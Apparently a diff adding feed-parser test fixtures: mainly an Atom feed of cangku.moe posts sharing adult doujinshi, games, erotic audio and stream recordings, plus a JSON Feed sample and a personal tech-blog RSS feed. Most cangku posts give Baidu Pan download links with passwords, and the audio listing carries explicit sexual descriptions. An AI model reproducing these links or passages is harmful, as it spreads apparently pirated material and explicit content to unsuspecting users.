    4efcbb6ab52b83d573eafb5b6e74d3c9.jpg

    a佬最新作品  4.2日放到I战的已经收录 一共10g 非常大 建议嫖个会员下 讲真一个月30不算贵  

    a佬的作品 不多说 好sao 好色  肉食系姬姬 爱了  大部分都是啪的  也有边跳边啪  角色大部分以舰c   fgo  为主 还有几个应该是自己改的模型  都很好康【错了快来打咱脸_(:з」∠)_】

    还是照常帮作者宣传环节  赞助可以看高清哦

    P战:https://www.patreon.com/posts/35546701

    推特:https://twitter.com/MMDJelly

    p.s 下载后后缀加zip 解压食用 

    度盘   提取:ekz0   

    解压:gmgard.com 

    ]]> + 2020-04-06 19:30:02 + + + + 敢笑陆羽不懂茶 + + <![CDATA[[本子分享](C97) [スパイシーラブスヘブン (かみ田)] 本当にいた!!時間停止おじさん]]> + + https://cangku.moe/archives/177920 + 简介

    我是不是说上一投是近期最后一部时停,对不起,我真香了!!群友赛车时惊奇的发现了这本时停本。

    这本...]]>

    + 简介

    我是不是说上一投是近期最后一部时停,对不起,我真香了!!群友赛车时惊奇的发现了这本时停本。

    这本,比起前面的,用一个字就可以概括:猛! 从头透到尾,但可惜是大叔......

    看看吧,看看吧,对上层物理不感兴趣,做做重工也行啊!!!!

    预览图


    b2718c2bcc2637a9927600f33c21dd51.jpg

    683fa517b157b567e1b8dde780445be7.jpg[dlbox title="時間停止.DLC" time="" info="提取:6y91 / 密码:第一层 cangku.moe 第二层 请移步个人主页获知" from="" link1="度盘|https://pan.baidu.com/s/1xH5Im3htSD0fdbTd43gl9g"][/dlbox]

    ]]>
    + 2020-04-06 19:24:32 +
    + + + 黑日[愚者] + + <![CDATA[[本子分享](C97) [Aspergillus (おから)] Precious Gift (とある科学の超電磁砲) [中国翻訳]]]> + + https://cangku.moe/archives/177919 + W6Rvz.jp...]]></summary>
+      <content type=W6Rvz.jpg

    W66UP.jpg

    [GalACG]EX322346664

    ☣解压码获取☣

    [dlbox title="黑日" time="" info="提取:ouoi" from="黑日" link1="黑日|https://pan.baidu.com/s/1bdQhsGn9pQaKIP-VpVStNA"][/dlbox]

    ]]> + 2020-04-06 19:05:21 + + + + 无韵 + + <![CDATA[[3D动画][十三期]アトリエこぶKOB社团前三作合并 【无韵剪辑-马赛克处理=极致社保不容错过】]]> + + https://cangku.moe/archives/177907 +


    582cec217f2e47381f5161b4198a29c9.png
    KOB社团计划4步曲~启动~
    十三期KOB前三作合并
    十四期KOB最终幻想同人两部加100日元特典
    十五期KOB炼铜两作合并
    十六期KOB催眠NTR前后片合并


    更新多快取决于你们

    本次前三作品很老,质量不咋地,我就就不求什么了,也不上水音了

    3作几小时,剪的好像就这十几分钟还能凑合看

    本期预览

    e3c9f85a882fabd75b7a70dd3636acf3.png

    [dlbox title="DD社保剪辑师" time="原子能时代" info="提取:q930 / 密码:去看前几期" from="无韵制作" link1="度|https://pan.baidu.com/s/1cFHNa2Yz46kRQ3sd-cDBhA"][/dlbox]


    ]]> + 2020-04-06 18:38:36 + + + + 黑日[愚者] + + <![CDATA[[本子分享](Cレヴォ31) [Beastics (まゆなゆうま)] 狂イ緋桜花臭凝リテ腐レ寒紅ヲ成ス (腐り姫)[落花漢化]]]> + + https://cangku.moe/archives/177917 + W6NbO.jp...]]></summary>
+      <content type=W6NbO.jpg

    W6pmn.jpg

    [GalACG]EX675488560

    ☣解压码获取☣

    [dlbox title="黑日" time="" info="提取:xelx" from="黑日" link1="黑日|https://pan.baidu.com/s/1Y1ex4Jn74R9sTO2PXVmO9g"][/dlbox]

    ]]> + 2020-04-06 18:10:41 + + + + 水溶C + + <![CDATA[[同人音声] [RJ277307] [すたぁぱれっと] 耳奥まで気持ちいい♪クラゲ彼女のぐっぽり耳舐めぐちゅぐちゅ触手でトロける耳穴捕食【补档】]]> + + https://cangku.moe/archives/176319 + szAF2.jpg


    社团名すたぁぱれっと
    贩卖日2020年03月07日 0点
    剧情あいの水海
    插画ko_yu
    声优神楽琴美
    年龄指定18禁
    作品形式音声・ASMR
    文件形式WAV / MP3
    其他日语作品
    分类纯爱/甜蜜治愈内射/中出口交掏耳环绕音ASMR舔耳
    文件容量合计 3.51GB

    作品内容


    ―耳奥までぐっぽりねっとり、ヒトでは知り得ない極上の快感を―

    海で出会ったクラゲの女の子「みなも」と過ごすエッチな時間。
    触手と舌を使った耳責めは、ヒトでは感じられない極上の快感です。
    耳奥までぐっぽりうねうねと這い回る舌、触手を感じながら
    甘く濃密で気持ち良いひとときをお過ごしください。

    触手はお耳の溝をなぞるように表面を這って、深部まで侵入される耳穴。
    ねっとりと耳全体をこね回したり、
    深い浸食耳舐め、触手だから実現出来る快感責め&同時責めシチュエーションが満載です。

    囁きや吐息と合わさる触手のヌメヌメ感&舌のザラつき―
    耳全体は勿論の事、全身の感度をゾクゾクと高めながら
    徹底的に甘責めされてしまいます。

    くちゅくちゅと蠢く触手耳かきもありますので、癒しパートもお楽しみください。


    ★…トラックリスト…★

    01. プロローグ…10:09

    細さを自在に操れる触手を持つ、クラゲの女の子「みなも」と出会ったあなた。
    うっかり足を刺してしまったお詫びにと、細さを自在に操れる触手で耳かきを提案されます。


    02. 触手耳かきでくちゅくちゅお掃除…27:05

    「普段は触れられない繊細な耳の中を、触手がぬるっと這うように触れられたら、
    それだけで背中がぞくぞくってしますよね。」

    奥まで続くお耳の道を細い触手で優しくなぞって、
    耳奥に辿り着いたらくちゅくちゅっと擦ったり…
    普通では味わえない触手耳かきをしてくれます。
    波の音を聞きながら、気持ち良さに身を委ねて癒しのひと時を―


    03. 深い浸食耳舐めと触手でねっとり全身責め(乳首責め/耳舐め手コキ&触手コキ)…28:57

    「透明なゼリー状のうねうねが、尖った乳首の先っぽに触れたら、
    ちゅぷって飲み込むように吸い付いて…こんなに引っ張るまで離れない。
    右側なんて、いっぱい愛撫するようにちゅっ、ちゅって小刻みにキスしていますよ?」

    耳舐めをされながら、敏感な乳首を触手でくにゅくにゅと擦られて…
    耳奥に舌が這うたびに身体が反応してしまいます。
    ゆっくりと深い所まで浸食する耳舐め、乳首、おちん○んを同時に甘責めされながら
    全身ドロドロにとろけてしまう快感を味わってください。


    04. ぐちゅぐちゅ両耳触手責め&フェラチオ(両耳触手責め/フェラチオ)…30:13

    「今日は最初からいっぺんに両耳を、触手じゃなきゃ入らない奥までちゅぷちゅぷちゅぷっと侵入して…
    お耳の全てを食べ尽くしちゃいますね。」

    「さっきみたいな激しい刺激じゃないですから、これだけじゃイけませんよね。
    あなたの体が震えて…ねっとりとお耳を犯していく触手が、体の奥からじんわりと熱を孕んでいく。
    ぬる、ぬる。くちゅ、くちゅ。脳が快感でいっぱいになっていくのに、お外に出せないのがもどかしいですね。」

    両耳の奥までちゅぷちゅぷと触手でほじられながら、濃厚なフェラチオ。
    イキそうになったら焦らされて、脳内は射精したい快感でいっぱいになってしまいます。
    触手はお耳の溝をなぞるように表面を這って、ぐっぽり侵入される耳穴。
    両耳をぐちゅぐちゅと犯されながら、触手のぬちゅぬちゅした音が脳まで響いて―
    お口で愛されながらねっとりとした気持ち良さで満たされてしまいます。


    05. 触手で全身ドロドロ責め(触手マッサージ/アナル弄り&触手コキ)…22:54

    「可愛らしくきゅんきゅんして、お尻も立派な性感帯なんだってよく分かりますよね。
    おちん○んもお尻の中を気持ちよくマッサージされて、触手以上のおつゆを出していますよ。」

    「おちん○んを擦るのと同じ激しさでぐりぐりって押されて、精液まで押し出されちゃう。
    気持ちよくなった証に、お射精、とぷとぷとぷってしてください」

    触手と手を使って全身をマッサージ。
    粘液を擦りつけて、触手でぐにぐにと潰すように乳首も念入りに…
    全身にまとわりつくトロトロの粘液と触手を感じながら感度を高めます。
    おちん○んは、巻き付いた触手にぐにゅぐにゅと弄られながら
    お尻の穴もくちゅくちゅと甘責めされてしまいます。


    06. 耳奥までとろける濃厚エッチ(耳舐め/両耳責め/中出しエッチ)…21:53

    「ザラザラを押し付けて、奥まで舌、押し込んじゃいますね。
    触手よりは浅いかもしれませんが、舌の厚みで、お耳を全部埋め尽くしちゃいます」

    「舌だけで全部愛しきれないなら、触手で愛せばいいんですよね。
    体中を使っていっぱい、イくまで愛しますから…」

    触れられる場所、舐められる場所、
    全部を愛し尽くしたいという思いを告げられて、中出しエッチ。
    小刻みに耳の奥深くまで舐めつくされながら、もう片方の耳穴は触手でぐっぽりと責められます。
    両耳をぐちゃぐちゃにされながら、ひくひくと疼くおま○こで丸ごと愛されて―
    ゾクゾクと身体の芯までトロけるような快感で満たされて下さい。


    07. エピローグ…2:16


    Extra
    ぐっぽり両耳舐めオンリートラック…9:31


    .:*゜..:。*゜:.。*゜..:。*゜:.。*゜..:。*゜:.。*゜..:。*゜:.。*゜..:。*

    収録時間……2時間32分58秒

    全編ダミーヘッドマイクで収録されたバイノーラル音声作品です。
    是非イヤホンやヘッドホンでお楽しみください。

    ◇ファイル形式◇
    WAV(48kHz/24bit)・MP3(320kbps)
    トラック2,3,4,5,6はくちゅ音あり・なし版を同梱しております。
    パッケージイラスト (ロゴあり・なし/jpg・1280*960)

    CV:神楽琴美

    イラスト:ko_yu

    シナリオ:あいの水海

    企画:すたぁぱれっと

    オフィシャルツイッター
    https://twitter.com/starpaletteinfo

    Ci-en
    https://ci-en.jp/creator/287

    リリース情報のお知らせや限定音源
    作品のお話を公開しています。


    请自行学习如何解压分卷文件

    由萝莉邪域小朋友提出强烈想要的资源
    szZn1.jpg

    我们要守护每一个孩子的梦想


    不可描述の东西

    关于文件乱码:乱码转换工具← 点击获取


    2020.04.06补档

    点击查看解压密码

    [dlbox title="耳奥まで気持ちいい♪クラゲ彼女のぐっぽり耳舐めぐちゅぐちゅ触手でトロける耳穴捕食" time="" info="提取:baim" from="" link1="水溶C养殖场|https://pan.baidu.com/s/13v0Hf0wrd6DAKlKAMDzjkg"][/dlbox]

    ]]> + 2020-04-06 18:09:44 + + + + ꧁ৡৢ貓娘情人 + + <![CDATA[[电影分享]星游记之风暴法米拉2[1080p][GB]]]> + + https://cangku.moe/archives/177916 +            

    法米拉1某软件可以免费看。

               

    法米拉1某软件可以免费看。

    导演: 胡一泊
    编剧: 胡一泊 / 叶子源
    主演: 陶典 / 山新 / 小连杀 / 宝木中阳 / 阿杰 / 图特哈蒙张赫张馨予郑言黄彬张舸刘琮刘翔张占坤张东孙金梁李楠刘媛媛谢子溦邱爽
    类型: 动画 / 奇幻 / 冒险
    制片国家/地区: 中国大陆
    语言: 汉语普通话
    上映日期: 2020-03-28(中国大陆)
    片长: 88分钟
    又名: 星游记2 

    剧情简介

    在广阔的宇宙中,存在着一条极度危险的虫洞航线——魔鬼脚印。 为了阻止其他人进入魔鬼脚印,神秘组织银河眼封锁了可以到达那里的坐标,魔鬼脚印渐 渐从人们的视野中消失。而唯一可以进入魔鬼脚印的飞船引擎“朱庇特之心”也变成了竞 技比赛——“风暴法米拉”大赛的奖品,成为了冒险者们新的目标与荣耀。 红魔鬼之子麦当、最后一位星学家笛亚和亚亚罗国王咕咚萌西一起组成“国王与随从”队, 即将踏上这片残酷的赛场。 与此同时,麦当体内的蔓影术正在不断扩散,而在受到种种打击后,他做出了让所有人意 想不到的选择……

    【讲真会看这个电影的人还需要看剧情简介么,都等了这么久了。】

    25e812f4599b02acb0d40e63a8c8b5ba.png[dlbox title="不想写" time="2020-04-06" info="提取:hxte / 密码:无" from="" link1="不想写|https://pan.baidu.com/s/14P0kK1iXIWdAWg_GwuQblg"][/dlbox]


    ]]> + 2020-04-06 17:49:32 + + + + 老方丈 + + <![CDATA[[直播录像] Projekt Melody [更新Twitch 4.4]]]> + + https://cangku.moe/archives/174417 + dAWbn.jpgdAWbn.jpg

    一个超涩的涩情VCB/VTB,手冲的同时还能练习英语听力

    此帖更新PH放流的官方录播、私录、Twitch录播等。

    CB直播间:https://zh.chaturbate.com/projektmelody

    PH:https://www.pornhub.com/model/projektmelody

    Twitch:https://www.twitch.tv/projektmelody 


    文件命名规则:

    前缀“OFFICIAL”即为官录(含PH/Twitch放流等),将不会标注PH/Twitch ,可自行查看下方[Twitch更新]栏确定哪些日期为Twitch 录播,则其余的就是正常录播内容了,自行选择下载即可,每次更新的简要信息都会在下方标注。

    没有前缀的则是私录(即私人录制),部分私录的质量甚至比官录还高。


    PH(CB录播)更新:

    20.3.21录播:这次把跳蛋换成一个小炮机了,看起来相当刺激,Melody好像也去的比平时更厉害呢。PS:官录这次不知为何只有720P,私录是1080P@60fps,且带字幕。

    20.3.27:私录,后半段的果体艳舞非常棒,确实历史最佳(见推特)了

    20.3.31:玩恋活!(还有一些别的黄油),边玩边冲!

    20.4.1:愚人节特辑,换了套服装,艳舞骚话打手冲。


    Twitch更新 :

    20.3.7录播:twitch首播,主要为模型展示和尬聊,无涩情内容,无游戏内容

    PS:绝版资源,这次直播之后账号暂时被封了,所以现在去她的主页并看不到这个录播

    20.3.18、3.22:播传送门(复读:传送门真神作!)

    20.3.20:播动物之森,是方丈没听说过的游戏呢。

    20.3.28:依旧传送门

    20.3.29:私录,和别的播主一起玩些小游戏,part1不知道咋了分辨率爆炸

    20.4.3:播MHW和传送门

    20.4.4:和其他主播尬聊,纯聊天,JOJO~


    方丈附:

    20.3.24:由于PH的官录实在更的太慢了,之后打算把一些质量较高私录也传上来

    PS:twitch的官录也会传哦,不过twitch好像就是纯游戏内容,顺便最近Melody在打传送门(传送门真神作!)


    玉兰:

    Snipaste 2020 02 17 14 41 34 看图王Snipaste 2020 02 17 14 41 23 看图王Snipaste 2020 03 24 20 22 25 看图王Snipaste 2020 03 24 20 21 18 看图王Snipaste 2020 03 24 20 22 41 看图王

    [dlbox title="Melody" info="提取:gwqk 密码:cangku.moe" from="PH" link1="网盘|https://pan.baidu.com/s/14VJiIo6DzKn-4Fj10fctWA"][/dlbox]

    ]]> + 2020-04-06 16:41:38 + + + + Paul Lennon + + <![CDATA[[专辑分享] Sex Pistols (性手枪) 专辑合集 [1张录音室专辑]]]> + + https://cangku.moe/archives/177911 +            今天发的是最伟大的朋克乐队Sex Pistols +            今天发的是最伟大的朋克乐队Sex Pistols(PS:好吧,我承认我有水的成分)虽然他们只存在了很短的时间,只出过一张录音室专辑,但依然不影响他们的成就。

    078986e08fd2f9eb184d3f2b2331742f.jpg

    乐队简介:

    1972年,尚未成年的Steve Jones(史蒂夫·琼斯,吉他手)和Paul Cook(保罗·库克,鼓手)决定组成一个乐队时,绝对没有意识到他们将要承担策动摇滚乐史上另一场革命的使命。

    1975年,他们在伦敦中央圣马丁艺术与设计学院首次上演自己的作品,刚演了一小会儿,便被一位刻薄的家伙拔去了电源。这点小意思对一个准备以脸皮公开向社会挑战的乐队来说算不了什么。

    1976年,主唱约翰·罗顿(Johnny Rotten)、吉他手史蒂夫·琼斯(Steve Jones)、贝司手格伦·马特洛克(Glen Matlock)、鼓手保罗·库克(Paul Cook)成立的性手枪乐队于1976年与英国EMI公司签约,但是由于在电视台采访的言行出格,在发行第一张单曲&lt;Anachy In The U.K.&gt;时,即遭解雇。 The Sex Pistols参加了在伦敦牛津城 the lOO俱乐部举行Punk音乐节。the Sex Pistols的演出全面推动了Punk运动的兴起,正因为这次演出the 100俱乐部至今被认为是Punk的诞生之地。EMI唱片公司先声夺入,匆匆将the Sex Pistols拉到旗下,The Sex Pistols旋即推出首张单曲"Anarchy in The UK"( 英国的无政府主义)。

    1978年的美国之行注定了乐队没落的开始。在旧金山演出时,主唱约翰尼·罗顿咆哮"自己被骗了",第二天他宣布离队。

    乐队的经纪人兼缔造者马尔科姆·麦克拉伦至少有三件事做得不妥。

    1.他解雇了约翰尼·罗顿。

    2.他牺牲了乐队过量的金钱和精力拍摄乐队的自传体记录片"伟大的摇滚骗术"(The Great Rock N'Roll Swindle)。

    3.他在这部传记中忽视了前贝司手格莱思·迈特罗克,任意贬低离任主唱约翰尼·罗顿;他犯的错误还有一件,就是把火车抢劫犯龙尼·比格斯(Ronnie Biggs)弄来当主唱。

    这些都不足以称作毁灭性事件,接下来发生的才是--1978年已成为乐队核心的贝司手席德·维瑟斯的女友南茜·斯庞根(Nancy SpunGen)被发现死于维瑟斯的寓所,维瑟斯受到谋杀指控,在开庭前的保释期间他摄入毒品时酗酒而导致死亡。

    这段并不圣洁 的传奇并没有结束,在它之后的二十多年里涌现出了数百支类似他们的乐队,许多非朋克乐队也纷纷探讨和翻唱他们的作品。对于其中夹杂的不少伪朋克乐队,朋克之父的忠告和语气十分严峻:不要试图模仿,那样形同更改一封适时适地有着适宜主人的旧信件的时间、地址、主人一样拙劣。

    2006年2月24日,性手枪被摇滚名人堂正式邀请加入,结果如大家所猜测的,他们拒绝参加加入仪式。

                                                                                                                                                 摘自360百科 

    专辑列表:

    1.《Never Mind the Bollocks Here's the Sex Pistols》  1977年发行

    7eab0bd309316597244e2fa3689d640e.jpg

    (PS:滚石杂志评选世界上最伟大的500张专辑第40位 ) 

           怎么说呢,这帮唱着骂女王的歌开着船追着女王唱的家伙是真的顶。不过谁会不喜欢呢。话说《God Save The Queen》真的给女王续了这么多年的命啊  

           明天就发页老师的黑魔法。

    [dlbox title="Sex Pistols" time="2020/4/6" info="提取:m1m6" from="" link1="百度|https://pan.baidu.com/s/1zmxKG5io9ti8GNb1sCvk2A"][/dlbox]

    ]]>
    + 2020-04-06 16:00:09 +
    + + + + + <![CDATA[[游戏分享] [リリックボックス] 妹が痔になったので座薬を入れてやった件 (英文无修)]]> + + https://cangku.moe/archives/177906 + W64Zh.jp...]]></summary>
+      <content type=W64Zh.jpg

    随便瞎逛发现的一个无修短篇GAL,由于CG采用了分图层打散的模式进行了加密,就没有提取并拼接,欢迎各位大佬们自行提取拼接。

    下载后修改文件后缀为 rar,添加5%恢复记录,无密码 
    W67SB.png

    W69wE.png

    [dlbox title="栓剂治疗仪.rar" time="2020-04-06" info="提取:v7s3 / 密码:默认" from="Nyaa / Fakku" link1="度盘|https://pan.baidu.com/s/1hzffFHVElUUK1aOcOZ-DbQ"][/dlbox]

    ]]> + 2020-04-06 13:55:43 + + + + 菠萝头啊! + + <![CDATA[[游戏分享] [ゆめなまこん] 脱出乙女~prison girl~ [RPG] [SS同盟汉化] [RJ240741]]]> + + https://cangku.moe/archives/177807 + d1a8c548b93b2fd5e4652fcc0dc2b938.jpg

    大家好呀,不知道上一个游戏大家的感想如何呢,这次的游戏稍微简单一点,大家可当成单纯的涩涩的游戏来玩,主要是认真筛选的话耗费心力同时还有各种各样的问题,不如将标准放宽松一些,我也能轻松很多,大家也能有更多的游戏可以玩和选择,我会时不时的投入一些个人觉得很棒的作品,并不是说现在投的就不行,至少我收录的作品都是我认为OK合格才留下的,质量是可以保证的。

    预览

    0d2a3f4cbef23d011a7197fafaf5db48.jpg

    这次试着优化了一下稿件内容,我发现之前两稿大部分精力都用在如何介绍游戏内容上了,这次做了一份简易的打分表,能让大家更直观且简单的对介绍的游戏有一个基本的认识(不排除优化的可能,省下了冗长的赘述,也能省下我更多的精力,(太好啦)



    剧情:★★★☆☆ 文本通顺流畅,故事结构较为简单,女主性格比较可爱(这就够了啊!)游戏好像是有百合要素的,但应该很少就是了。

    [collapse title="剧情项评分标准"]

    按照故事性和设定以及剧本台词是否有趣来打分,一般只要做到逻辑通顺,不让玩家玩的同时满脸黑人问号.jpg都可以保证一个二星及格分(这样就算不错了!),如果再用心设计一些情节丰富故事就能打三分(高于及格线的小优,很宽松了吧),四星为精品,(四星精品标准在三个打分项中仅于剧情项生效,其他两项并不适用),大致是这样的打分标准,大家大致感受下即可。

    [/collapse]

    游戏性:★★☆☆☆ 游戏并未通关,有一些支线内容,各位可以自己探索。

    按照游戏时长,地图细节程度,支线内容是否丰富来综合评定

    涩情值8c824f22c9164afbc9047b892a758a3c.jpg★★★★☆

    因为每个人的感受不同,如果对游戏有自己的理解更好。

    打分标准仅为帮助介绍游戏,并不代表游戏实际数值,允许讨论,切勿较真。


    转载至SS同盟

    附上作者的话:可能引发BUG的事宜

    DL:https://www.dlsite.com/maniax/work/=/product_id/RJ240741.html

    翻译:弦月五谷田

    测试:熟练的白膜导士   Aceee

    游戏简介:女主在考古的过程中不小心中了诅咒,为了解除诅咒而到处找寻宝物顺便拯救世界。。。。。。

    很抱歉鸽了这么久,因为中间过年咕了过后,没想到开学学校又给我加了一堆课表上和选课课表上都没有的课。。。估计接下来会很难过:YangTuo_Y:

    游戏有些小BUG,原谅本人能力有限,不会修:YangTuo_OZ:

    1.忍者的切腹技能(减血加buff)把自己切死的话,游戏会崩。

    2.游戏最后BOSS之前选暂时不前进的话,对话的立绘会黏在屏幕上。

    3.战斗界面的重复功能在打一次战斗只有一个敌人的时候,偶尔会崩,原理不明。。。。。

    虽然不会影响游戏正常流程,但还是请多多注意,做好存档,以免暴毙。。。。。

    游戏本身有这个社团前作游戏的物品,在游戏中不会出现,但是可以用一些手段调出来,但是使用的话游戏会崩,请注意。

    其实这个游戏提取的文本我并没有完全翻译完,因为剩下的都是前作的文本,这就算了,为什么有些对话说着说着女主的名字就变成玛蕾(社团另一个游戏的女主)了。。。。。。:mx011:

    转载请随意,但是请注明转载自ss同盟!

    还有一个BUG忘了说,回想的第一排最右边的一个在观看的时候会提示图片缺失,就复制图片文件夹里面的④DG改名为。。。忘了。。。那个。。。请注意一下


    作者允许转载。
    DL:https://www.dlsite.com/maniax/work/=/product_id/RJ240741.html

    PS:如果是第一次玩RPG无法运行请参考我的第一稿。

    [dlbox title="脱出乙女" time="" info="提取:eqv8 / 密码:cangku.moe" from="SS同盟" link1="度娘|https://pan.baidu.com/s/1Npa2h0toKKxBZLcaNq_TOA"][/dlbox]

    ]]> + 2020-04-06 13:01:31 + + + + 草莓33 + + <![CDATA[[同人音声][はーべすと] 癒しの旅館 風鈴館 系列4部合集]]> + + https://cangku.moe/archives/177768 + 自购合集,买了好久,没看到有人发那我发个吧。

    自购合集,买了好久,没看到有人发那我发个吧。

    41906b1d86c546a95e41c33cf950ea77.png

    ★あらすじ

    雪の降る夜、『風鈴館』の戸を開けると静かな夜にチリンと風鈴の音が響き渡る――

    特別な”癒し”を提供するというその一風変わった宿に再び足を運ぶと、

    サーシャと名乗る少女が出迎えてくれたのだった……。

    ★本編の流れ

    ・トラック01:風鈴館へようこそ
    ・トラック02:私の膝に頭を乗せて下さい(耳かき)
    ・トラック03:気持ち良さそうな寝顔(耳かき)
    ・トラック04:ひと肌の温もり、感じられるでしょ?
    ・トラック05:キス……したいな……
    ・トラック06:恥ずかしがらなくてもいいから(手コキ)
    ・トラック07:また、興奮しちゃった?(フェラチオ)
    ・トラック08:私と、気持ちいいこと……しよっ(セックス)
    ・トラック09:拭いてあげる
    ・トラック10:本当はダメ、ですけど……(セックス)
    ・トラック11:手、繋ぎたいです
    ・トラック12:すやすや
    ・トラック13:……うん、おはよう

    ※各シーンのダイジェストである体験版をご確認ください
    ※トラック08~13はダイジェストに含みません

    ★収録ファイル

    ・音声の収録時間は約1時間59分 96kHz/24bit ハイレゾ
    効果音ありver(mp3/wav)
    効果音なしver(mp3/wav)

    ・イラストは1枚+差分13枚の計14枚
    1320x2160ピクセル(jpg)

    ・シナリオ台本(txt)

    ★注意

    本作は、バイノーラル録音による立体音響作品です。
    ヘッドホン、イヤホンなどでのご視聴を推奨します。


    キャスト:藍沢夏癒

    [dlbox title="风铃" time="2020年4月3日" info="提取:iz06 / 密码:cangku.moe" from="自购" link1="百度盘|https://pan.baidu.com/s/16Q3JPrmOHTs3XMR-xmY86Q#list/path=%2F "][/dlbox]

    ]]> + 2020-04-06 12:49:29 + + diff --git a/tests/feedlib/testdata/parser/well/jsonfeed-example.json b/tests/feedlib/testdata/parser/well/jsonfeed-example.json new file mode 100644 index 0000000..b6887db --- /dev/null +++ b/tests/feedlib/testdata/parser/well/jsonfeed-example.json @@ -0,0 +1,18 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2", + "content_text": "This is a second item.", + "url": "https://example.org/second-item" + }, + { + "id": "1", + "content_html": "

    Hello, world!

    ", + "url": "https://example.org/initial-post" + } + ] +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/kilerd-me-rss.xml b/tests/feedlib/testdata/parser/well/kilerd-me-rss.xml new file mode 100644 index 0000000..c5d13b9 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/kilerd-me-rss.xml @@ -0,0 +1,973 @@ +你好,耳先生https://www.kilerd.me/先生贵姓?耳东陈。好的,这边请,耳先生。Staple2019 个人总结https://www.kilerd.me/summaries-my-2019无意中翻博客草稿的时候,发现了 2018 的总结还在停留在草稿阶段,现在就已经要写 2019 年度总结了,不禁感叹时间流逝之快。

    +]]>
    2019-12-31 21:34:22 +08:00无意中翻博客草稿的时候,发现了 2018 的总结还在停留在草稿阶段,现在就已经要写 2019 年度总结了,不禁感叹时间流逝之快。

    + +

    R.I.P Python 2

    +

    Python 2 停止维护,这绝对是一件所有 Pythonista 值得写入 2020 第一篇文章内的描述。我大概从2014年开始接触Python,但是就已经开始用 Python 3来写项目了。从 14 年到现在,除了写项目逻辑之外更多的时间是花费在 2 与 3 的兼容上面。虽然说 six 这种专门用来做兼容性库的存在极大的简化了兼容的实现,我还是十分希望能免去这些工作量。

    +

    一开始确实没有太大的理由和动力去做迁移工作,但是 Python 3 的一点点进步足以让迁移有足够的优势:Hash 算法的优化提升了部分性能;async 语法和 asyncio 生态的建立;type hint 的出现。这些让 Python 使用起来更加像一门现代化的语言。

    +

    时至今日,Python 2 的死去,是一件好事,摆脱了这么一个巨大的历史包袱,希望 Python 3 可以有更好的发展,搞搞 JIT,研究一下GIL。希望Python 3 越走越好。

    +

    另外 Guido 的退位也为 Python 带来了新的治理模式,不再是独裁者的所有物。hpy 的出现也让 Python 有望存在一个标准的 spec,这样下来越来越多的更好的解析器有望可以涌现。

    +

    OverWatch 赛事

    +

    工作后对游戏的热爱就只能投放在赛事上。LOL 上 FPX 夺冠,Dota 里 大巴黎老干爹没能杀入决赛复仇 OG,这些都不是很关心。守望先锋在 2019 年的表现才是让人,让我无比兴奋的。

    +

    先是在世界杯上拿下亚军,再是在国内组出了 4 支俱乐部角逐 OWL 第二赛季的战场。同时 成都 Hunter 队的全华姿态也让国内对其抱有了极大的盼头。一是世界杯上中国队的超常发挥,二是对全华班的执着。听闻 Hunter 背后的老板跟 RNG 的老板还是同一个。从 OWL 第一赛季的「我们根本u知道怎么才能赢」到这个赛季的龙队获得第三赛段冠军,4支还是3支战队杀入季后赛这一切都在宣告着守望先锋在国内的蓬勃发展。正如林迟青说的那样「 We are ready to let the world know CHINA again」。

    +

    2020 年的第三赛季的主客场机制让不少 OWL 比赛在国内举行,相信氛围一定很好。可惜的事情是 Hunter 那位被誉为「神医」的主教练 RUI 因伤离队了,不知道成都队能不能在第三赛季保持水平的同时越战越勇。

    +

    坚定了 Rust 的路线

    +

    在工作上写了一年 Java,虽说还是一如既往的讨厌它,但是毕竟是用来吃饭的本领,还是专研了一下,起码保证了自己的饭碗不会丢失。但是在业务的时间里面,更加坚定了3年前做的一个决定「学习 Rust」。

    +

    怎么说呢,前段时间看到一段文字可以很好的描述我对 Rust 的态度:

    +
    +

    大概五六月的时候我领着团队系统地学习了一下 Rust 语言,后来就有一搭没一搭的写点随手就扔的一次性代码。看到 Signal 的这篇文章后,我按捺不住心头的激情一一终于可以 用 Rust 做一个似乎有点什么用的工具了!写下来总体感觉,Rust 有可以媲美 ruby 的表现力,又有可以媲美 C++ 的性能(如果使用正确了),加上略逊于 haskell,但可以秒杀大部分主流语言的类型系统,使得用 rust 写代码是一种享受(除了编译速度慢)。这样一个 小工具200来行代码(包括单元测试,生成式测试以及一个简单的benchmark)就可以完 成,估计用 python, elixir 和 nodejs 都不那么容易达到。

    +
    +

    大概就是这样,得益于过程宏等的一些生态,可以让代码写起来如同脚本语言那样的表现力和编写体验,既有极优秀的性能,还有完备的类型系统。这样 Rust 在各个领域都可以表现得很棒。

    +

    Rust 也让我真正的走上了 PL 的道路,之前的我可能是站在巨人肩膀上的,完全不知道脚下的巨人是谁,能干什么。但是 Rust 让我成功的走出了这一步。慢慢地了解到了类型系统及其图灵完备性,数理系统,逆变协变等等这些可能你日常都在使用,但是不知道其缘由和机理的事情。

    +

    我很庆幸在业务我不再是一个简单的CRUD boy,虽然我还有很长的一条路要走,但是起码我在2019迈出了那一步。很感谢 Rust 为我带来的这一个改变。

    +

    Side Projects

    +

    如同我在「技术断舍离」里面描述的那样,我开始不喜欢写同类型的项目,逐渐接触不同领域的东西。我开始认真地想做一个社区,希望能把 Resource.rs 给做好。我认真反思自己做过的东西,那些没能让我学习到的项目都是一次拖慢你节奏的过程。我注册了3min.work,寓意是「三分热度工作室」,我希望我的一些零时性的,阶段性的,实验性的作品或者尝试可以放在这里,让我有一个更加直观的感受,同时也不会阻止我的前进。

    +

    最后

    +

    一年来,虽说工作不如意,学习上没啥进步,也开始慢慢接受自己的平庸。但是我始终坚信着「勤能补拙」这个朴实的道理。

    +]]>
    我的技术断离舍https://www.kilerd.me/learnning-zen-of-tech在工作了一年多后,脑子里面满是想离职的事情。在此之前,我还在持续构思这一年多学习到内容的总结,然后品了品,这一年内,为了柴米油盐持续奔波,并没有留下过多的时间来学习新的技术,反而相比于刚刚毕业的那个时候,这时的我忘记的知识远远多于我学习到的。

    +

    然而又尽力过一段时间的沉思,我才意识到这可能并不是一件坏事,反而让我可以更好地学习下去。

    +]]>
    2019-11-08 16:52:13 +08:00在工作了一年多后,脑子里面满是想离职的事情。在此之前,我还在持续构思这一年多学习到内容的总结,然后品了品,这一年内,为了柴米油盐持续奔波,并没有留下过多的时间来学习新的技术,反而相比于刚刚毕业的那个时候,这时的我忘记的知识远远多于我学习到的。

    +

